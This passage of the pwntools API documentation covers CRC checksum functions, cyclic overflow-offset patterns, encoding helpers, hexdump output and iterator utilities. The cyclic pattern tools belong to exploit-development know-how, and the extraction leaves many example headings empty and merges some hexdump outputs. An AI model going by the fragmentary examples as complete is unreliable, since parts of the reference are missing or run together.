• refout = True
• xorout = 0x1f
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-usb
Parameters data (str) – The data to checksum.
Example
>>> print(crc_5_usb(b'123456789'))
25
pwnlib.util.crc.crc_64(data) → int
Calculates the crc_64 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x42f0e1eba9ea3693
• width = 64
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.64
Parameters data (str) – The data to checksum.
Example
>>> print(crc_64(b'123456789'))
7800480153909949255
pwnlib.util.crc.crc_64_go_iso(data) → int
Calculates the crc_64_go_iso checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1b
• width = 64
• init = 0xffffffffffffffff
• refin = True
• refout = True
• xorout = 0xffffffffffffffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-go-iso
Parameters data (str) – The data to checksum.
Example
>>> print(crc_64_go_iso(b'123456789'))
13333283586479230977
pwnlib.util.crc.crc_64_we(data) → int
Calculates the crc_64_we checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x42f0e1eba9ea3693
• width = 64
• init = 0xffffffffffffffff
• refin = False
• refout = False
• xorout = 0xffffffffffffffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-we
Parameters data (str) – The data to checksum.
Example
>>> print(crc_64_we(b'123456789'))
7128171145767219210
pwnlib.util.crc.crc_64_xz(data) → int
Calculates the crc_64_xz checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x42f0e1eba9ea3693
• width = 64
• init = 0xffffffffffffffff
• refin = True
• refout = True
• xorout = 0xffffffffffffffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-xz
Parameters data (str) – The data to checksum.
Example
>>> print(crc_64_xz(b'123456789'))
11051210869376104954
pwnlib.util.crc.crc_6_cdma2000_a(data) → int
Calculates the crc_6_cdma2000_a checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x27
• width = 6
• init = 0x3f
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.6
Parameters data (str) – The data to checksum.
Example
>>> print(crc_6_cdma2000_a(b'123456789'))
13
pwnlib.util.crc.crc_6_cdma2000_b(data) → int
Calculates the crc_6_cdma2000_b checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x7
• width = 6
• init = 0x3f
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-cdma2000-b
Parameters data (str) – The data to checksum.
Example
>>> print(crc_6_cdma2000_b(b'123456789'))
59
pwnlib.util.crc.crc_6_darc(data) → int
Calculates the crc_6_darc checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x19
• width = 6
• init = 0x0
• refin = True
• refout = True
• xorout = 0x0
Example
>>> print(crc_6_darc(b'123456789'))
38
pwnlib.util.crc.crc_6_gsm(data) → int
Calculates the crc_6_gsm checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x2f
• width = 6
• init = 0x0
• refin = False
• refout = False
• xorout = 0x3f
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-gsm
Parameters data (str) – The data to checksum.
Example
>>> print(crc_6_gsm(b'123456789'))
19
pwnlib.util.crc.crc_6_itu(data) → int
Calculates the crc_6_itu checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x3
• width = 6
• init = 0x0
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-itu
Parameters data (str) – The data to checksum.
Example
>>> print(crc_6_itu(b'123456789'))
6
pwnlib.util.crc.crc_7(data) → int
Calculates the crc_7 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x9
• width = 7
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.7
Parameters data (str) – The data to checksum.
Example
>>> print(crc_7(b'123456789'))
117
pwnlib.util.crc.crc_7_rohc(data) → int
Calculates the crc_7_rohc checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x4f
• width = 7
• init = 0x7f
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-7-rohc
Parameters data (str) – The data to checksum.
Example
>>> print(crc_7_rohc(b'123456789'))
83
pwnlib.util.crc.crc_7_umts(data) → int
Calculates the crc_7_umts checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x45
• width = 7
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-7-umts
Parameters data (str) – The data to checksum.
Example
>>> print(crc_7_umts(b'123456789'))
97
pwnlib.util.crc.crc_8(data) → int
Calculates the crc_8 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x7
• width = 8
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.8
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8(b'123456789'))
244
pwnlib.util.crc.crc_82_darc(data) → int
Calculates the crc_82_darc checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x308c0111011401440411
• width = 82
• init = 0x0
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.82
Parameters data (str) – The data to checksum.
Example
>>> print(crc_82_darc(b'123456789'))
749237524598872659187218
pwnlib.util.crc.crc_8_autosar(data) → int
Calculates the crc_8_autosar checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x2f
• width = 8
• init = 0xff
• refin = False
• refout = False
• xorout = 0xff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-autosar
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_autosar(b'123456789'))
223
pwnlib.util.crc.crc_8_cdma2000(data) → int
Calculates the crc_8_cdma2000 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x9b
• width = 8
• init = 0xff
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-cdma2000
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_cdma2000(b'123456789'))
218
pwnlib.util.crc.crc_8_darc(data) → int
Calculates the crc_8_darc checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x39
• width = 8
• init = 0x0
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-darc
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_darc(b'123456789'))
21
pwnlib.util.crc.crc_8_dvb_s2(data) → int
Calculates the crc_8_dvb_s2 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0xd5
• width = 8
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-dvb-s2
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_dvb_s2(b'123456789'))
188
pwnlib.util.crc.crc_8_ebu(data) → int
Calculates the crc_8_ebu checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1d
• width = 8
• init = 0xff
• refin = True
• refout = True
• xorout = 0x0
Example
>>> print(crc_8_ebu(b'123456789'))
151
pwnlib.util.crc.crc_8_gsm_a(data) → int
Calculates the crc_8_gsm_a checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1d
• width = 8
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-gsm-a
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_gsm_a(b'123456789'))
55
pwnlib.util.crc.crc_8_gsm_b(data) → int
Calculates the crc_8_gsm_b checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x49
• width = 8
• init = 0x0
• refin = False
• refout = False
• xorout = 0xff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-gsm-b
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_gsm_b(b'123456789'))
148
pwnlib.util.crc.crc_8_i_code(data) → int
Calculates the crc_8_i_code checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1d
• width = 8
• init = 0xfd
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-i-code
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_i_code(b'123456789'))
126
pwnlib.util.crc.crc_8_itu(data) → int
Calculates the crc_8_itu checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x7
• width = 8
• init = 0x0
• refin = False
• refout = False
• xorout = 0x55
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-itu
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_itu(b'123456789'))
161
pwnlib.util.crc.crc_8_lte(data) → int
Calculates the crc_8_lte checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x9b
• width = 8
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-lte
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_lte(b'123456789'))
234
pwnlib.util.crc.crc_8_maxim(data) → int
Calculates the crc_8_maxim checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x31
• width = 8
• init = 0x0
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-maxim
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_maxim(b'123456789'))
161
pwnlib.util.crc.crc_8_opensafety(data) → int
Calculates the crc_8_opensafety checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x2f
• width = 8
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-opensafety
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_opensafety(b'123456789'))
62
pwnlib.util.crc.crc_8_rohc(data) → int
Calculates the crc_8_rohc checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x7
• width = 8
• init = 0xff
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-rohc
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_rohc(b'123456789'))
208
pwnlib.util.crc.crc_8_sae_j1850(data) → int
Calculates the crc_8_sae_j1850 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1d
• width = 8
• init = 0xff
• refin = False
• refout = False
• xorout = 0xff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-sae-j1850
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_sae_j1850(b'123456789'))
75
pwnlib.util.crc.crc_8_wcdma(data) → int
Calculates the crc_8_wcdma checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x9b
• width = 8
• init = 0x0
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-wdcma
Parameters data (str) – The data to checksum.
Example
>>> print(crc_8_wcdma(b'123456789'))
37
pwnlib.util.crc.crc_a(data) → int
Calculates the crc_a checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1021
• width = 16
• init = 0xc6c6
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-a
Parameters data (str) – The data to checksum.
Example
>>> print(crc_a(b'123456789'))
48901
pwnlib.util.crc.jamcrc(data) → int
Calculates the jamcrc checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x4c11db7
• width = 32
• init = 0xffffffff
• refin = True
• refout = True
• xorout = 0x0
Example
>>> print(jamcrc(b'123456789'))
873187033
pwnlib.util.crc.kermit(data) → int
Calculates the kermit checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1021
• width = 16
• init = 0x0
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.kermit
Parameters data (str) – The data to checksum.
Example
>>> print(kermit(b'123456789'))
8585
pwnlib.util.crc.modbus(data) → int
Calculates the modbus checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x8005
• width = 16
• init = 0xffff
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.modbus
Parameters data (str) – The data to checksum.
Example
>>> print(modbus(b'123456789'))
19255
pwnlib.util.crc.x_25(data) → int
Calculates the x_25 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1021
• width = 16
• init = 0xffff
• refin = True
• refout = True
• xorout = 0xffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.x-25
Parameters data (str) – The data to checksum.
Example
>>> print(x_25(b'123456789'))
36974
pwnlib.util.crc.xfer(data) → int
Calculates the xfer checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0xaf
• width = 32
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xfer
Parameters data (str) – The data to checksum.
Example
>>> print(xfer(b'123456789'))
3171672888
pwnlib.util.crc.xmodem(data) → int
Calculates the xmodem checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1021
• width = 16
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xmodem
Parameters data (str) – The data to checksum.
Example
>>> print(xmodem(b'123456789'))
12739
Notes
Example
>>> cyclic(20)
b'aaaabaaacaaadaaaeaaa'
>>> cyclic(32)
b'aaaabaaacaaadaaaeaaafaaagaaahaaa'
The alphabet and n arguments will control the actual output of the pattern
The size of n and alphabet limit the maximum length that can be generated. Without providing length, the entire
possible cyclic space is generated.
The alphabet can be set in context, which is useful for circumstances when certain characters are not allowed.
See context.cyclic_alphabet.
>>> context.clear()
Examples
>>> cyclic(16)
b'aaaabaaacaaadaaa'
Note that ‘baaa’ starts at offset 4. The cyclic_find routine shows us this:
>>> cyclic_find(b'baaa')
4
The default length of a subsequence generated by cyclic is 4. If a longer value is submitted, it is automatically
truncated to four bytes.
>>> cyclic_find(b'baaacaaa')
4
If you provided e.g. n=8 to cyclic to generate larger subsequences, you must explicitly provide that argument.
We can generate a large cyclic pattern, and grab a subset of it to check a deeper offset.
>>> cyclic_find(cyclic(1000)[514:518])
514
Instead of passing in the byte representation of the pattern, you can also pass in the integer value. Note that this
is sensitive to the selected endianness via context.endian.
>>> cyclic_find(0x61616162)
4
>>> cyclic_find(0x61616162, endian='big')
1
You can use anything for the cyclic pattern, including non-printable characters.
Example
>>> cyclic_metasploit(32)
b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab'
>>> cyclic_metasploit(sets = [b"AB",b"ab",b"12"])
b'Aa1Aa2Ab1Ab2Ba1Ba2Bb1Bb2'
>>> cyclic_metasploit()[1337:1341]
b'5Bs6'
>>> len(cyclic_metasploit())
20280
Examples
>>> cyclic_metasploit_find(cyclic_metasploit(1000)[514:518])
514
>>> cyclic_metasploit_find(0x61413161)
4
Example
>>> b64d('dGVzdA==')
b'test'
pwnlib.util.fiddling.b64e(s) → str
Base64 encodes a string
Example
>>> b64e(b"test")
'dGVzdA=='
Examples
Examples
>>> bits_str(511)
'0000000111111111'
>>> bits_str(b"bits_str", endian = "little")
'0100011010010110001011101100111011111010110011100010111001001110'
pwnlib.util.fiddling.bitswap(s) → str
Reverses the bits in every byte of a given string.
Example
>>> bitswap(b"1234")
b'\x8cL\xcc,'
pwnlib.util.fiddling.bitswap_int(n) → int
Reverses the bits of a numbers and returns the result as a new number.
Parameters
• n (int) – The number to swap.
• width (int) – The width of the integer
Examples
pwnlib.util.fiddling.bnot(value, width=None)
Returns the binary inverse of ‘value’.
pwnlib.util.fiddling.enhex(x) → str
Hex-encodes a string.
Example
>>> enhex(b"test")
'74657374'
Examples
>>> print(hexdump(b"abc"))
00000000 61 62 63 abc
00000003
>>> print(hexdump(b'A'*32))
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
˓→ AAAA AAAA AAAA AAAA
*
00000020
00000010 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
˓→ ···· ···· ···· ····
00000040 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f
˓→ @ABC DEFG HIJK LMNO
00000060 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f
˓→ `abc defg hijk lmno
00000070 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f pqrs tuvw xyz{ |}~
˓→·
00000080 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f
˓→ ···· ···· ···· ····
00000090 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f
˓→ ···· ···· ···· ····
000000a0 a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af
˓→ ···· ···· ···· ····
000000b0 b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf
˓→ ···· ···· ···· ····
000000c0 c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf
˓→ ···· ···· ···· ····
000000d0 d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df
˓→ ···· ···· ···· ····
000000e0 e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef
˓→ ···· ···· ···· ····
000000f0 f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
˓→ ···· ···· ···· ····
00000100
*
00000040
00000010 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
˓→ XXXX XXXX XXXX XXXX
00000020 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
˓→ XXXX XXXX XXXX XXXX
00000030 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
˓→ XXXX XXXX XXXX XXXX
00000040
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61
˓→ aaaa baaa caaa daaa
00000010 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
˓→ XXXX XXXX XXXX XXXX
*
00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61
˓→ maaa naaa oaaa paaa
00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 ff
˓→ qaaa raaa saaa taa·
00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
˓→ ···· ···· ···· ····
00000060 ff ff ff 61 7a 61 61 62 62 61 61 62 63 61 61 62
˓→ ···a zaab baab caab
00000070 64 61 61 62 65 61 61 62 66 61 61 62 67 61 61 62
˓→ daab eaab faab gaab
00000080 68 61 61 62 69 61 61 62 6a 61 61 62 6b 61 61 62
˓→ haab iaab jaab kaab
00000090 6c 61 61 62 6d 61 61 62 6e 61 61 62 6f 61 61 62
˓→ laab maab naab oaab
000000a0 70 61 61 62 71 61 61 62 72 61 61 62 73 61 61 62
˓→ paab qaab raab saab
000000b0 74 61 61 62 75 61 61 62 76 61 61 62 77 61 61 62
˓→ taab uaab vaab waab
000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
˓→ ···· ···· ···· ····
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61
˓→ aaaa baaa caaa daaa
00000010 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
˓→ XXXX XXXX XXXX XXXX
*
00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61
˓→ maaa naaa oaaa paaa
00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 ff
˓→ qaaa raaa saaa taa·
00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
˓→ ···· ···· ···· ····
00000060 ff ff ff 61 7a 61 61 62 62 61 61 62 63 61 61 62
˓→ ···a zaab baab caab
00000070 64 61 61 62 65 61 61 62 66 61 61 62 67 61 61 62
˓→ daab eaab faab gaab
*
000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
˓→ ···· ···· ···· ····
*
000000e0
00000000 .a .a .a .a .b .a .a .a .c .a .a .a .d .a .a .a
00000010 .X .X .X .X .X .X .X .X .X .X .X .X .X .X .X .X
*
00000030 .m .a .a .a .n .a .a .a .o .a .a .a .p .a .a .a
00000040 .q .a .a .a .r .a .a .a .s .a .a .a .t .a .a ##
00000050 ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
00000060 ## ## ## .a .z .a .a .b .b .a .a .b .c .a .a .b
00000070 .d .a .a .b .e .a .a .b .f .a .a .b .g .a .a .b
*
000000c0
*
000000e0
Example
>>> t = tube()
>>> t.unrecv(b'I know kung fu')
>>> print('\n'.join(hexdump_iter(t)))
00000000 49 20 6b 6e 6f 77 20 6b 75 6e 67 20 66 75 I kn ow k ung fu
0000000e
Example
>>> n = 45
>>> m = 0
>>> x = 1
>>> for z in naf(n):
... m += x * z
... x *= 2
>>> n == m
True
pwnlib.util.fiddling.negate(value, width=None)
Returns the two’s complement of ‘value’.
pwnlib.util.fiddling.randoms(count, alphabet = string.ascii_lowercase) → str
Returns a random string of a given length using only the specified alphabet.
Parameters
• count (int) – The length of the desired string.
• alphabet – The alphabet of allowed characters. Defaults to all lowercase characters.
Returns A random string.
Example
pwnlib.util.fiddling.rol(n, k, word_size=None)
Returns a rotation by k of n.
When n is a number, then means ((n << k) | (n >> (word_size - k))) truncated to word_size
bits.
When n is a list, tuple or string, this is n[k % len(n):] + n[:k % len(n)].
Parameters
• n – The value to rotate.
• k (int) – The rotation amount. Can be a positive or negative number.
• word_size (int) – If n is a number, then this is the assumed bitsize of n. Defaults to
pwnlib.context.word_size if None .
Example
>>> rol('abcdefg', 2)
'cdefgab'
>>> rol('abcdefg', -2)
'fgabcde'
>>> hex(rol(0x86, 3, 8))
'0x34'
>>> hex(rol(0x86, -3, 8))
'0xd0'
pwnlib.util.fiddling.ror(n, k, word_size=None)
A simple wrapper around rol(), which negates the values of k.
pwnlib.util.fiddling.unbits(s, endian = ’big’) → str
Converts an iterable of bits into a string.
Parameters
• s – Iterable of bits
• endian (str) – The string “little” or “big”, which specifies the bits endianness.
Returns A string of the decoded bits.
Example
>>> unbits([1])
b'\x80'
>>> unbits([1], endian = 'little')
b'\x01'
>>> unbits(bits(b'hello'), endian = 'little')
b'\x16\xa666\xf6'
pwnlib.util.fiddling.unhex(s) → str
Hex-decodes a string.
Example
>>> unhex("74657374")
b'test'
>>> unhex("F\n")
b'\x0f'
Example
>>> urldecode("test%20%41")
'test A'
>>> urldecode("%qq")
Traceback (most recent call last):
...
ValueError: Invalid input to urldecode
>>> urldecode("%qq", ignore_invalid = True)
'%qq'
pwnlib.util.fiddling.urlencode(s) → str
URL-encodes a string.
Example
>>> urlencode("test")
'%74%65%73%74'
Example
Example
Example
>>> xor_pair(b"test")
(b'\x01\x01\x01\x01', b'udru')
pwnlib.util.getdents.dirents(buf )
unpack_dents(buf) -> list
Extracts data from a buffer emitted by getdents()
Parameters buf (str) – Byte array
Returns A list of filenames.
Example
>>> data =
˓→'5ade6d010100000010002e0000000004010000000200000010002e2e006e3d04092b6d010300000010007461736b0
˓→'
pwnlib.util.hashes.sha512file(x)
Calculates the sha512 sum of a file
pwnlib.util.hashes.sha512filehex(x)
Calculates the sha512 sum of a file; returns hex-encoded
pwnlib.util.hashes.sha512sum(x)
Calculates the sha512 sum of a string
pwnlib.util.hashes.sha512sumhex(x)
Calculates the sha512 sum of a string; returns hex-encoded
Example
Example
>>> @chained
... def g():
... for x in count():
... yield (x, -x)
>>> take(6, g())
[0, 0, 1, -1, 2, -2]
pwnlib.util.iters.consume(n, iterator)
Advance the iterator n steps ahead. If n is :const:‘None, consume everything.
Parameters
• n (int) – Number of elements to consume.
• iterator (iterator) – An iterator.
Returns None.
Examples
>>> i = count()
>>> consume(5, i)
>>> next(i)
5
>>> i = iter([1, 2, 3, 4, 5])
>>> consume(2, i)
>>> list(i)
[3, 4, 5]
Examples
pwnlib.util.iters.dotproduct(x, y) → int
Computes the dot product of x and y.
Parameters
• x (iterable) – An iterable.
• x – An iterable.
Returns The dot product of x and y, i.e. – x[0] * y[0] + x[1] * y[1] + ....
Example
pwnlib.util.iters.flatten(xss) → iterator
Flattens one level of nesting; when xss is an iterable of iterables, returns an iterator whoose elements is the
concatenation of the elements of xss.
Parameters xss – An iterable of iterables.
Returns An iterator whoose elements are the concatenation of the iterables in xss.
Examples
Examples
pwnlib.util.iters.iter_except(func, exception)
Calls func repeatedly until an exception is raised. Works like the build-in iter() but uses an exception instead
of a sentinel to signal the end.
Parameters
• func (callable) – The function to call.
• exception (Exception) – The exception that signals the end. Other exceptions will
not be caught.
Returns An iterator whoose elements are the results of calling func() until an exception matching
exception is raised.
Examples
>>> s = {1, 2, 3}
>>> i = iter_except(s.pop, KeyError)
>>> next(i)
1
>>> next(i)
2
>>> next(i)
3
>>> next(i)
Traceback (most recent call last):
...
StopIteration
pwnlib.util.iters.lexicographic(alphabet) → iterator
The words with symbols in alphabet, in lexicographic order (determined by the order of alphabet).
Parameters alphabet – The alphabet to draw symbols from.
Returns An iterator of the words with symbols in alphabet, in lexicographic order.
Example
• iterable – An iterable.
Returns The element in iterable at index n.
Examples
>>> i = count()
>>> lookahead(4, i)
4
>>> next(i)
0
>>> i = count()
>>> nth(4, i)
4
>>> next(i)
5
>>> lookahead(4, i)
10
Examples
Examples
pwnlib.util.iters.pairwise(iterable) → iterator
Parameters iterable – An iterable.
Returns An iterator whoose elements are pairs of neighbouring elements of iterable.
Examples
Examples
>>> list(powerset(range(3)))
[(), (0,), (1,), (2,), (0, 1), (0, 2), (1, 2), (0, 1, 2)]
>>> list(powerset(range(2), include_empty = False))
[(0,), (1,), (0, 1)]
Examples
pwnlib.util.iters.random_combination(iterable, r) → tuple
Parameters
• iterable – An iterable.
• r (int) – Size of the combination.
Returns A random element from itertools.combinations(iterable, r = r).
Examples
>>> random_combination(range(2), 2)
(0, 1)
>>> random_combination(range(10), r = 2) in combinations(range(10), r = 2)
True
pwnlib.util.iters.random_combination_with_replacement(iterable, r)
random_combination(iterable, r) -> tuple
Parameters
• iterable – An iterable.
• r (int) – Size of the combination.
Returns A random element from itertools.combinations_with_replacement(iterable,
r = r).
Examples
pwnlib.util.iters.random_permutation(iterable, r=None)
random_product(iterable, r = None) -> tuple
Parameters
• iterable – An iterable.
• r (int) – Size of the permutation. If None select all elements in iterable.
Returns A random element from itertools.permutations(iterable, r = r).
Examples
Examples
Examples
pwnlib.util.iters.roundrobin(*iterables)
Take elements from iterables in a round-robin fashion.
Parameters *iterables – One or more iterables.
Returns An iterator whoose elements are taken from iterables in a round-robin fashion.
Examples
Examples
Examples
Examples
>>> ''.join(unique_everseen('AAAABBBCCDAABBB'))
'ABCD'
>>> ''.join(unique_everseen('ABBCcAD', str.lower))
'ABCD'
pwnlib.util.iters.unique_justseen(iterable, key=None)
unique_everseen(iterable, key = None) -> iterator
Get unique elements, preserving order. Remember only the elements just seen. If key is not None then for each
element elm in iterable the element that will be rememberes is key(elm). Otherwise elm is remembered.
Parameters
• iterable – An iterable.
• key – A function to map over each element in iterable before remembering it. Setting to
None is equivalent to the identity function.
Returns An iterator of the unique elements in iterable.
Examples
>>> ''.join(unique_justseen('AAAABBBCCDAABBB'))
'ABCDAB'
>>> ''.join(unique_justseen('ABBCcAD', str.lower))
'ABCAD'
Examples
pwnlib.util.iters.chain()
Alias for itertools.chain().
pwnlib.util.iters.combinations()
Alias for itertools.combinations()
pwnlib.util.iters.combinations_with_replacement()
Alias for itertools.combinations_with_replacement()
pwnlib.util.iters.compress()
Alias for itertools.compress()
pwnlib.util.iters.count()
Alias for itertools.count()
pwnlib.util.iters.cycle()
Alias for itertools.cycle()
pwnlib.util.iters.dropwhile()
Alias for itertools.dropwhile()
pwnlib.util.iters.groupby()
Alias for itertools.groupby()
pwnlib.util.iters.ifilter()
Alias for itertools.ifilter()
pwnlib.util.iters.ifilterfalse()
Alias for itertools.ifilterfalse()
pwnlib.util.iters.imap()
Alias for itertools.imap()
pwnlib.util.iters.islice()
Alias for itertools.islice()
pwnlib.util.iters.izip()
Alias for itertools.izip()
pwnlib.util.iters.izip_longest()
Alias for itertools.izip_longest()
pwnlib.util.iters.permutations()
Alias for itertools.permutations()
pwnlib.util.iters.product()
Alias for itertools.product()
pwnlib.util.iters.repeat()
Alias for itertools.repeat()
pwnlib.util.iters.starmap()
Alias for itertools.starmap()
pwnlib.util.iters.takewhile()
Alias for itertools.takewhile()
pwnlib.util.iters.tee()
Alias for itertools.tee()
pwnlib.util.lists.concat(l) → list
Concats a list of lists into a list.
Example
pwnlib.util.lists.concat_all(*args) → list
Concats all the arguments together.
Example
pwnlib.util.lists.findall(l, e) → l
Generate all indices of needle in haystack, using the Knuth-Morris-Pratt algorithm.
Example
Example
pwnlib.util.lists.ordlist(s) → list
Turns a string into a list of the corresponding ascii values.
Example
>>> ordlist("hello")
[104, 101, 108, 108, 111]
Example
pwnlib.util.lists.unordlist(cs) → str
